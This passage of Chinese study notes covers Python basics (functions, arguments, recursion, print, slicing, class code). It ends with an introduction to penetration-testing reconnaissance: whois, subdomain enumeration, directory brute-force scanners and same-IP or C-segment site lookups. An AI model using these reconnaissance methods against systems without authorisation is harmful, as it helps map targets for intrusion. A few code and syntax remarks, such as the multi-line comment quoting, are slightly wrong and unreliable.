&lt;p&gt;&lt;strong&gt;函数名称&lt;/strong&gt; 应该能够表达 &lt;strong&gt;函数封装代码&lt;/strong&gt; 的功能，便于后续调用&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;函数名称&lt;/p&gt;
&lt;p&gt;的命名应该&lt;/p&gt;
&lt;p&gt;符合&lt;/p&gt;
&lt;p&gt;标识符的命名规则&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;由 &lt;strong&gt;字母&lt;/strong&gt;、&lt;strong&gt;下划线&lt;/strong&gt; 和 &lt;strong&gt;数字&lt;/strong&gt; 组成&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不能以数字开头&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不能与关键字重名&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h5&gt;（2）函数调用&lt;/h5&gt;
&lt;p&gt;调用函数很简单的，通过 &lt;code&gt;函数名()&lt;/code&gt; 即可完成对函数的调用&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;定义完成之后，若不主动调用函数，则函数是不会主动执行的&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;（三）函数的参数&lt;/h4&gt;
&lt;h5&gt;（1）参数的使用&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;在函数名的后面的小括号内部填写 &lt;strong&gt;参数&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;多个参数之间使用 &lt;code&gt;,&lt;/code&gt; 分隔&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;（2）参数的作用&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;函数的参数&lt;/strong&gt;，增加函数的 &lt;strong&gt;通用性&lt;/strong&gt;，针对 &lt;strong&gt;相同的数据处理逻辑&lt;/strong&gt;，能够&lt;strong&gt;适应更多的数据&lt;/strong&gt;
&lt;ol&gt;
&lt;li&gt;在函数 &lt;strong&gt;内部&lt;/strong&gt;，把参数当做 &lt;strong&gt;变量&lt;/strong&gt; 使用，进行需要的数据处理&lt;/li&gt;
&lt;li&gt;函数调用时，按照函数定义的&lt;strong&gt;参数顺序&lt;/strong&gt;，把 &lt;strong&gt;希望在函数内部处理的数据&lt;/strong&gt;，&lt;strong&gt;通过参数&lt;/strong&gt; 传递&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;（3）形参和实参&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;形参&lt;/strong&gt;：&lt;strong&gt;定义&lt;/strong&gt; 函数时，小括号中的参数，用于接收参数，在函数内部 &lt;strong&gt;作为变量使用&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;实参&lt;/strong&gt;：&lt;strong&gt;调用&lt;/strong&gt; 函数时，小括号中的参数，将数据传递到 &lt;strong&gt;函数内部&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;（四）函数的返回值&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;返回值&lt;/strong&gt; 是函数 &lt;strong&gt;完成工作&lt;/strong&gt;后，&lt;strong&gt;返回&lt;/strong&gt; 给调用者的 &lt;strong&gt;结果&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;在函数中使用 &lt;code&gt;return&lt;/code&gt; 关键字可以返回结果&lt;/li&gt;
&lt;li&gt;调用函数一方，可以 &lt;strong&gt;使用变量&lt;/strong&gt; 来 &lt;strong&gt;接收&lt;/strong&gt; 函数的返回结果&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;注意：&lt;code&gt;return&lt;/code&gt; 表示返回，后续的代码都不会被执行&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;return 的作用：&lt;/p&gt;
&lt;p&gt;返回一个对象&lt;/p&gt;
&lt;p&gt;阻断代码执行&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h4&gt;（五）使用模块中的函数&lt;/h4&gt;
&lt;p&gt;1.&lt;strong&gt;模块&lt;/strong&gt; 就好比是 &lt;strong&gt;工具包&lt;/strong&gt;，要想使用这个工具包中的工具，就需要 &lt;strong&gt;导入 import&lt;/strong&gt; 这个模块&lt;/p&gt;
&lt;p&gt;2.每一个以扩展名 &lt;code&gt;py&lt;/code&gt; 结尾的 &lt;code&gt;Python&lt;/code&gt; 源代码文件都是一个 &lt;strong&gt;模块&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;3.在模块中定义的 &lt;strong&gt;全局变量&lt;/strong&gt; 、 &lt;strong&gt;函数&lt;/strong&gt; 都是模块能够提供给外界直接使用的工具&lt;/p&gt;
&lt;p&gt;4.可以 &lt;strong&gt;在一个 Python 文件&lt;/strong&gt; 中 &lt;strong&gt;定义 变量 或者 函数&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;5.然后在 &lt;strong&gt;另外一个文件中&lt;/strong&gt; 使用 &lt;code&gt;import&lt;/code&gt; 导入这个模块&lt;/p&gt;
&lt;p&gt;6.导入之后，就可以使用 &lt;code&gt;模块名.变量&lt;/code&gt; / &lt;code&gt;模块名.函数&lt;/code&gt; 的方式，使用这个模块中定义的变量或者函数&lt;/p&gt;
&lt;p&gt;模块名也是一个标识符&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;标示符可以由 &lt;strong&gt;字母&lt;/strong&gt;、&lt;strong&gt;下划线&lt;/strong&gt; 和 &lt;strong&gt;数字&lt;/strong&gt; 组成&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不能以数字开头&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不能与关键字重名&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;（六）函数进阶&lt;/h4&gt;
&lt;h5&gt;（1）函数参数和返回值的作用&lt;/h5&gt;
&lt;ol&gt;
&lt;li&gt;如果函数 &lt;strong&gt;内部处理的数据不确定&lt;/strong&gt;，就可以将外界的数据以参数传递到函数内部&lt;/li&gt;
&lt;li&gt;如果希望一个函数 &lt;strong&gt;执行完成后，向外界汇报执行结果&lt;/strong&gt;，就可以增加函数的返回值&lt;/li&gt;
&lt;/ol&gt;
&lt;h6&gt;1、无参数，无返回值&lt;/h6&gt;
&lt;p&gt;此类函数，不接收参数，也没有返回值，应用场景如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;只是单纯地做一件事情&lt;/strong&gt;，例如 &lt;strong&gt;显示菜单&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;在函数内部 &lt;strong&gt;针对全局变量进行操作&lt;/strong&gt;，例如：&lt;strong&gt;新建名片&lt;/strong&gt;，最终结果 &lt;strong&gt;记录在全局变量&lt;/strong&gt; 中&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;注：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;如果全局变量的数据类型是一个 &lt;strong&gt;可变类型&lt;/strong&gt;，在函数内部可以使用 &lt;strong&gt;方法&lt;/strong&gt; 修改全局变量的内容 —— &lt;strong&gt;变量的引用不会改变&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;在函数内部，&lt;strong&gt;使用赋值语句&lt;/strong&gt; 才会 &lt;strong&gt;修改变量的引用&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h6&gt;2、无参数，有返回值&lt;/h6&gt;
&lt;p&gt;此类函数，不接收参数，但是有返回值，应用场景如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;采集数据，例如 &lt;strong&gt;温度计&lt;/strong&gt;，返回结果就是当前的温度，而不需要传递任何的参数&lt;/li&gt;
&lt;/ul&gt;
&lt;h6&gt;3、有参数，无返回值&lt;/h6&gt;
&lt;p&gt;此类函数，接收参数，没有返回值，应用场景如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;函数内部的代码保持不变，针对 &lt;strong&gt;不同的参数 处理 不同的数据&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h6&gt;4、有参数，有返回值&lt;/h6&gt;
&lt;p&gt;此类函数，接收参数，同时有返回值，应用场景如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;函数内部的代码保持不变，针对 &lt;strong&gt;不同的参数 处理 不同的数据&lt;/strong&gt;，并且 &lt;strong&gt;返回期望的处理结果&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;（2）函数的返回值 进阶&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;在程序开发中，有时候，会希望 &lt;strong&gt;一个函数执行结束后，告诉调用者一个结果&lt;/strong&gt;，以便调用者针对具体的结果做后续的处理&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;返回值&lt;/strong&gt; 是函数 &lt;strong&gt;完成工作&lt;/strong&gt;后，&lt;strong&gt;最后&lt;/strong&gt; 给调用者的 &lt;strong&gt;一个结果&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在函数中使用 &lt;code&gt;return&lt;/code&gt; 关键字可以返回结果&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;调用函数一方，可以 &lt;strong&gt;使用变量&lt;/strong&gt; 来 &lt;strong&gt;接收&lt;/strong&gt; 函数的返回结果&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;提示：如果一个函数返回的是元组，括号可以省略&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;技巧&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在 &lt;code&gt;Python&lt;/code&gt; 中，可以 &lt;strong&gt;将一个元组&lt;/strong&gt; 使用 &lt;strong&gt;赋值语句&lt;/strong&gt; 同时赋值给 &lt;strong&gt;多个变量&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;注意：变量的数量需要和元组中的元素数量保持一致&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;result = temp, wetness = measure()
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;（七）函数的参数 进阶&lt;/h4&gt;
&lt;h5&gt;（1）不可变和可变的参数&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;无论传递的参数是&lt;/p&gt;
&lt;p&gt;可变&lt;/p&gt;
&lt;p&gt;还是&lt;/p&gt;
&lt;p&gt;不可变&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;只要 &lt;strong&gt;针对参数&lt;/strong&gt; 使用 &lt;strong&gt;赋值语句&lt;/strong&gt;，会在 &lt;strong&gt;函数内部&lt;/strong&gt; 修改 &lt;strong&gt;局部变量的引用&lt;/strong&gt;，&lt;strong&gt;不会影响到 外部变量的引用&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h6&gt;1、缺省参数&lt;/h6&gt;
&lt;ul&gt;
&lt;li&gt;定义函数时，给 &lt;strong&gt;某个参数&lt;/strong&gt; 指定一个&lt;strong&gt;默认值&lt;/strong&gt;，具有默认值的参数就叫做 &lt;strong&gt;缺省参数&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;调用函数时，如果没有传入 &lt;strong&gt;缺省参数&lt;/strong&gt; 的值，则在函数内部使用定义函数时指定的 &lt;strong&gt;参数默认值&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;函数的缺省参数，&lt;strong&gt;将常见的值设置为参数的缺省值&lt;/strong&gt;，从而 &lt;strong&gt;简化函数的调用&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h6&gt;2、指定函数的缺省参数&lt;/h6&gt;
&lt;ul&gt;
&lt;li&gt;在参数后使用赋值语句，可以指定参数的缺省值&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;提示&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;缺省参数，需要使用 &lt;strong&gt;最常见的值&lt;/strong&gt; 作为默认值！&lt;/li&gt;
&lt;li&gt;如果一个参数的值 &lt;strong&gt;不能确定&lt;/strong&gt;，则不应该设置默认值，具体的数值在调用函数时，由外界传递！&lt;/li&gt;
&lt;/ol&gt;
&lt;h6&gt;3、缺省参数的注意事项&lt;/h6&gt;
&lt;p&gt;&lt;strong&gt;1) 缺省参数的定义位置&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;必须保证&lt;/strong&gt; &lt;strong&gt;带有默认值的缺省参数&lt;/strong&gt; &lt;strong&gt;在参数列表末尾&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;2) 调用带有多个缺省参数的函数&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在 &lt;strong&gt;调用函数时&lt;/strong&gt;，如果有 &lt;strong&gt;多个缺省参数&lt;/strong&gt;，&lt;strong&gt;需要指定参数名&lt;/strong&gt;，这样解释器才能够知道参数的对应关系！&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;（2）多值参数&lt;/h5&gt;
&lt;h6&gt;1、定义支持多值参数的函数&lt;/h6&gt;
&lt;ul&gt;
&lt;li&gt;有时可能需要 &lt;strong&gt;一个函数&lt;/strong&gt; 能够处理的参数 &lt;strong&gt;个数&lt;/strong&gt; 是不确定的，这个时候，就可以使用 &lt;strong&gt;多值参数&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;python&lt;/code&gt; 中有 &lt;strong&gt;两种&lt;/strong&gt; 多值参数：
&lt;ul&gt;
&lt;li&gt;参数名前增加 &lt;strong&gt;一个&lt;/strong&gt; &lt;code&gt;*&lt;/code&gt; 可以接收 &lt;strong&gt;元组&lt;/strong&gt; 如：&lt;code&gt;*args&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;参数名前增加 &lt;strong&gt;两个&lt;/strong&gt; &lt;code&gt;*&lt;/code&gt; 可以接收 &lt;strong&gt;字典&lt;/strong&gt; 如：&lt;code&gt;**kwargs&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h6&gt;2、元组和字典的拆包&lt;/h6&gt;
&lt;ul&gt;
&lt;li&gt;在调用带有多值参数的函数时，如果希望：
&lt;ul&gt;
&lt;li&gt;将一个 &lt;strong&gt;元组变量&lt;/strong&gt;，直接传递给 &lt;code&gt;args&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;将一个 &lt;strong&gt;字典变量&lt;/strong&gt;，直接传递给 &lt;code&gt;kwargs&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;就可以使用 &lt;strong&gt;拆包&lt;/strong&gt;，简化参数的传递，&lt;strong&gt;拆包&lt;/strong&gt; 的方式是：
&lt;ul&gt;
&lt;li&gt;在 &lt;strong&gt;元组变量前&lt;/strong&gt;，增加 &lt;strong&gt;一个&lt;/strong&gt; &lt;code&gt;*&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;在 &lt;strong&gt;字典变量前&lt;/strong&gt;，增加 &lt;strong&gt;两个&lt;/strong&gt; &lt;code&gt;*&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;（八）函数的递归&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;函数调用自身的 &lt;strong&gt;编程技巧&lt;/strong&gt; 称为递归&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;递归函数的特点&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;一个函数&lt;/strong&gt; &lt;strong&gt;内部&lt;/strong&gt; &lt;strong&gt;调用自己&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;代码特点&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;函数内部的 &lt;strong&gt;代码&lt;/strong&gt; 是相同的，只是针对 &lt;strong&gt;参数&lt;/strong&gt; 不同，&lt;strong&gt;处理的结果不同&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;当&lt;/p&gt;
&lt;p&gt;参数满足一个条件&lt;/p&gt;
&lt;p&gt;时，函数不再执行&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;非常重要&lt;/strong&gt;，通常被称为递归的出口，否则 &lt;strong&gt;会出现死循环&lt;/strong&gt;！&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;11、其他&lt;/h3&gt;
&lt;h4&gt;（一）print函数&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;在默认情况下，&lt;code&gt;print&lt;/code&gt; 函数输出内容之后，会自动在内容末尾增加换行&lt;/li&gt;
&lt;li&gt;如果不希望末尾增加换行，可以在 &lt;code&gt;print&lt;/code&gt; 函数输出内容的后面增加 &lt;code&gt;, end=&quot;&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;其中 &lt;code&gt;&quot;&quot;&lt;/code&gt; 中间可以指定 &lt;code&gt;print&lt;/code&gt; 函数输出内容之后，继续希望显示的内容&lt;/li&gt;
&lt;li&gt;语法格式如下：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;# 向控制台输出内容结束之后，不会换行
print(&quot;*&quot;, end=&quot;&quot;)

# 单纯的换行
print(&quot;&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;end=&quot;&quot;&lt;/code&gt; 表示向控制台输出内容结束之后，不会换行&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;假设&lt;/strong&gt; &lt;code&gt;Python&lt;/code&gt; &lt;strong&gt;没有提供&lt;/strong&gt; 字符串的 &lt;code&gt;*&lt;/code&gt; 操作 &lt;strong&gt;拼接字符串&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;字符串中的转义字符&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;\t&lt;/code&gt; 在控制台输出一个 &lt;strong&gt;制表符&lt;/strong&gt;，协助在输出文本时 &lt;strong&gt;垂直方向&lt;/strong&gt; 保持对齐&lt;/li&gt;
&lt;li&gt;&lt;code&gt;\n&lt;/code&gt; 在控制台输出一个 &lt;strong&gt;换行符&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;制表符&lt;/strong&gt; 的功能是在不使用表格的情况下在 &lt;strong&gt;垂直方向&lt;/strong&gt; 按列对齐文本&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/c6fc537515-1698939936039.png&quot; alt=&quot;1698939936039&quot; style=&quot;zoom:33%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h4&gt;（二）注释&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;单行注释（行注释）：使用#&lt;/li&gt;
&lt;li&gt;多行注释（块注释）：使用&quot;&quot; … “”&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;（三）公共方法&lt;/h4&gt;
&lt;h5&gt;（1）Python 内置函数&lt;/h5&gt;
&lt;p&gt;Python 包含了以下内置函数：&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/a1d819b01c-1698940001814.png&quot; alt=&quot;1698940001814&quot; style=&quot;zoom:33%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;字符串&lt;/strong&gt; 比较符合以下规则： “0” &amp;lt; “A” &amp;lt; “a”&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;（2）切片&lt;/h5&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/c3482258b3-1698940079973.png&quot; alt=&quot;1698940079973&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;切片&lt;/strong&gt; 使用 &lt;strong&gt;索引值&lt;/strong&gt; 来限定范围，从一个大的 &lt;strong&gt;字符串&lt;/strong&gt; 中 &lt;strong&gt;切出&lt;/strong&gt; 小的 &lt;strong&gt;字符串&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;列表&lt;/strong&gt; 和 &lt;strong&gt;元组&lt;/strong&gt; 都是 &lt;strong&gt;有序&lt;/strong&gt; 的集合，都能够 &lt;strong&gt;通过索引值&lt;/strong&gt; 获取到对应的数据&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;字典&lt;/strong&gt; 是一个 &lt;strong&gt;无序&lt;/strong&gt; 的集合，是使用 &lt;strong&gt;键值对&lt;/strong&gt; 保存数据&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;（3）运算符&lt;/h5&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/1b0a4895cf-1698940111080.png&quot; alt=&quot;1698940111080&quot; style=&quot;zoom:33%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;in&lt;/code&gt; 在对 &lt;strong&gt;字典&lt;/strong&gt; 操作时，判断的是 &lt;strong&gt;字典的键&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;in&lt;/code&gt; 和 &lt;code&gt;not in&lt;/code&gt; 被称为 &lt;strong&gt;成员运算符&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;（4）成员运算符&lt;/h5&gt;
&lt;p&gt;成员运算符用于 &lt;strong&gt;测试&lt;/strong&gt; 序列中是否包含指定的 &lt;strong&gt;成员&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/63dccdb14c-1698940144846.png&quot; alt=&quot;1698940144846&quot; /&gt;&lt;/p&gt;
&lt;p&gt;注意：在对 &lt;strong&gt;字典&lt;/strong&gt; 操作时，判断的是 &lt;strong&gt;字典的键&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;12、上课代码&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#print()

# print(&apos;hello,world~&apos;)
# print(123)
# print(12.3)

# print(&apos;hello&apos;,end=&apos; &apos;)
# print(&apos;world&apos;)

# print(1,2,3,4,5,sep=&apos;:&apos;)

#变量

# a=1
# b=2
# print(a)
# print(b)

# a=10
# b=20
# c=0
# print(a,b)
# c=a
# a=b
# b=c
# print(a,b)
# a,b=b,a
# print(a,b)

#数据类型

#Number   ,string ,列表list,集合set,元组tuple,字典dict

# a=1
# print(a)
# print(type(a))

# from decimal import Decimal
# n1=1.1
# n2=2.2
# print(Decimal(&apos;1.1&apos;)+Decimal(&apos;2.2&apos;))
# print(type(n1))
# print(n1+n2)

# print(1+True)
# print(1+False)

# &apos;&apos; 单行字符串

# &quot; &quot; 通常表示句子

# &apos;&apos;&apos; 

# &apos;&apos;&apos;     段落

# &quot;&quot;&quot; 

# &quot;&quot;&quot;     段落

# str=&apos;xiaoming&apos;
# str2=&quot;this is my world!&quot;
# str3=&apos;&apos;&apos; 
# 小红

# 小兰
# 小绿
# &apos;&apos;&apos;
# print(str)
# print(str2)
# print(str3)

#数据类型转换

# str(),int(),float(),bool()

# a=123
# print(&apos;a变量的类型：&apos;,type(a))
# b=str(a)
# print(&apos;b变量的类型&apos;,type(b))
# c=int(b)
# print(&apos;c变量的类型：&apos;,type(c))
# d=float(c)
# print(&apos;d变量的类型：&apos;,type(d))
# e=bool(d)
# print(&apos;e变量的类型：&apos;,type(e))

#进制转换

# print(11)   #十进制
# print(0b11) #二进制
# print(0o11) #八进制
# print(0x11) #十六进制

# print(bin(3))
# print(oct(9))
# print(hex(17))

# print(ord(&apos;a&apos;))
# print(chr(97))

# + - * / %    5%2 == 1
# ** 乘方

# a=2
# b=3
# c=a**b
# print(c)

# print(&apos;hello,\nworld&apos;)
# print(&apos;hello,\\nworld&apos;) #转译
# print(r&apos;he\nllo,\nworld&apos;) #全部转译

# #\r  将光标移到本行开头
# a=10
# b=&apos;小明&apos;
# print(f&apos;我朋友{b}今年胖了{a}斤&apos;)

# import time

# for i in range(6):    #0-5
#     print(f&apos;\r你的节操掉了{5-i}斤&apos;)
#     time.sleep(1)

# a=input(&quot;请输入您的姓名&quot;)
# print(a)
# print(type(a))

# age=int(input(&quot;请输入您的年龄&quot;))
# print(age)
# print(type(age))

#切片

#高级索引，用的比较多

#变量[头下标:尾下标:步长]

# str=&apos;123456789&apos;
# print(str)
# print(str[0])
# print(str[2:5]) # 左闭右开[2,5)
# print(str[0:-1])  #左闭右开[0,8]
# print(str[3:])
# print(str[1:5:2])
# print(str[1::2])
# print(str[::2])
# print(str[::-1])

# 列表 [] list
# 集合 {} set
# 元素 () tuple 
# 字典 {} dict

# 1.列表：可以重复，可以修改，购物车信息
# 2.集合：可以修改，但是不能重复。无序的。记录兴趣爱好等数据。打篮球
# 3.元组：创建完就无法改变。安全性高一些
# 4.字典：键和值。学校系统，记录学生信息。学号：学生其他信息。

# a = []
# print(type(a))

a = [1,2,3,4,5,6,7,8,9]
# print(a)
# a[2]=&apos;a&apos;
# a[3]=&apos;a&apos;
# a[4]=&apos;a&apos;
# print(a)
# a[2:6] = &apos;a&apos;
# print(a)

# a[3]=[1,2,3]
# print(a)
# print(a[3][1])

# print(max(a))
# a.append(88)
# print(a)
# print(a.index(8))
# print(a.pop())
# print(a)
# print(a.pop(3))
# print(a)
# a.remove(2)
# print(a)
# print(len(a))

#元组

# a=(1,2,3)
# print(a)
# print(type(a))
# print(a[1])
# a[1]=99
# print(a)

#集合

#可以去除重复
# a = {}
# print(type(a))
# b=set()
# print(type(b))
# b.add(10)
# print(b)

# c={1,2,3,4,5,6,7,8,9}
# print(c)
# print(type(c))
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;二、爬虫&lt;/h2&gt;
&lt;h2&gt;三、信息收集&lt;/h2&gt;
&lt;h3&gt;一、信息收集介绍&lt;/h3&gt;
&lt;h4&gt;1、信息收集由来——黑客攻击模型&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;信息收集，俗称踩点。

渗透测试最重要的阶段之一就是信息收集。

为了启动渗透测试，用户需要收集关于目标网络资产等信息。用户得到的信息越多，渗透测试成功的概率也就越高。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/c1ae97e140-1698506277129.png&quot; alt=&quot;1698506277129&quot; style=&quot;zoom: 33%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/e1b4e6bcc8-1698506334396.png&quot; alt=&quot;1698506334396&quot; style=&quot;zoom: 33%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h4&gt;2、信息收集类型&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/4acce21af0-1698506439155.png&quot; alt=&quot;1698506439155&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;二、信息收集基本方式&lt;/h3&gt;
&lt;h4&gt;1、Whois&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	whois（读作“Whois”，非缩写）是用来查询域名的IP以及所有者等信息的传输协议。简单说，whois就是一个用来查询域名是否已经被注册，以及注册域名的详细信息的数据库（如域名所有人、域名注册商）。通过whois来实现对域名信息的查询。早期的whois查询多以命令列接口存在，但是现在出现了一些网页接口简化的线上查询工具，可以一次向不同的数据库查询。网页接口的查询工具仍然依赖whois协议向服务器发送查询请求，命令列接口的工具仍然被系统管理员广泛使用。whois通常使用TCP协议43端口。每个域名/IP的whois信息由对应的管理机构保存。
	
	https://whois.chinaz.com/
	
	https://whois.aliyun.com/
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2、子域名&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	子域名（或子域；英语：Subdomain）是在域名系统等级中，属于更高一层域的域。比如，mail.example.com和calendar.example.com是example.com的两个子域，而example.com则是顶级域.com的子域。（针对大网站）收集子域名可以很大程度知道目标所拥有的网站等资产信息。

工具：子域名挖掘机
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3、目录扫描&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	目录扫描工具主要针对网站目录或者后台管理地址进行暴力猜解的工具。目录扫描工具有一个共同的特性：目录字典或者后台管理字典越强大，其扫描出的目录或者后台管理地址的数目就越多、越准确。以前的目录扫描工具有啊D注入工具（目录扫描模块）等。
	
	目录扫描工具有御剑、dirsearch、DirBuster及wwwscan等。
	
	https://github.com/maurosoria/dirsearch
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;4、旁站C段&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;查询旁站指某个服务器同一个IP地址所有域名。

查询C段指某个服务器IP地址所在C段IP地址的所有域名。

www.webscan.cc

https://chapangzhan.com/
&lt;/code&gt;&lt;/pre&gt;
